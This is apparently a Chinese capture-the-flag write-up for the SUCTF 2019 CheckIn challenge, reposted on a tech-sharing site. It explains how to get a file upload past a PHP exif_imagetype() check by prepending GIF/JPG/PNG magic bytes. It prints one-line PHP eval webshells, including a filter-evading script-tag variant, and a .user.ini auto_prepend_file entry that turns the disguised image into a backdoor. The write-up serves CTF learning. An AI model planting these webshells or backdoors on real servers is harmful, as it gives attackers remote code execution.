标签：SUCTF 文件 exif CheckIn 2019 ini PHP imagetype user

知识点

　　exif_imagetype()

　　.user.ini(重点)

 

exif_imagetype()

　　打开发现是上传，发现可以上传jpg等格式的文件。然后上传txt格式的文件，发现后台是通过exif_imagetype函数判断的— 判断一个图像的类型。

 

　　在文件头添加图片头就可以绕过

• JPG ：FF D8 FF E0 00 10 4A 46 49 46
• GIF(相当于文本的GIF89a)：47 49 46 38 39 61
• PNG： 89 50 4E 47

 .user.ini

　　https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html

　　PHP的默认配置文件时php.ini，分为PHP_INI_SYSTEM、PHP_INI_PERDIR、PHP_INI_ALL、PHP_INI_USER

 

 　　这里就提到了.user.ini，简单来说，.user.ini实际上就是一个可以由用户“自定义”的php.ini，并且这个是一个动态加载的文件，不需要重启服务。

　　有两个比较有意思的选项

　　1、auto_prepend_file 在页面顶部加载文件
　　2、auto_append_file  在页面底部加载文件

auto_prepend_file=test.jpg

　　那么当我们访问此目录下的任何一个文件时，都会去包含test.jpg,我们可以利用这个来留后门

 

解题

　　打开上传一个txt文件，发现是exif_imagetype()绕过，制作图片马添加图片头上传图片码

GIF89a?
<?php eval($_POST['a']);?>

　　发现过滤了<?

　　

 

 　　用其他标记绕过,test1.gif

GIF89a?
<script language='php'>eval($_REQUEST[c]);</script>

 

 

　　同样的方式提交.user.ini

GIF89a
auto_prepend_file=tset1.gif

 　　

 

 

　　出题人刻意留下了index.php文件，然后利用该文件得到flag

 

 参考链接

　　https://www.cnblogs.com/wangtanzhi/p/11862682.html

如有错误和不足请联系指出，谢谢

标签：SUCTF,文件,exif,CheckIn,2019,ini,PHP,imagetype,user
来源： https://www.cnblogs.com/Lee-404/p/12838790.html

本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享；
2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关；
3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关；
4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除；
5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。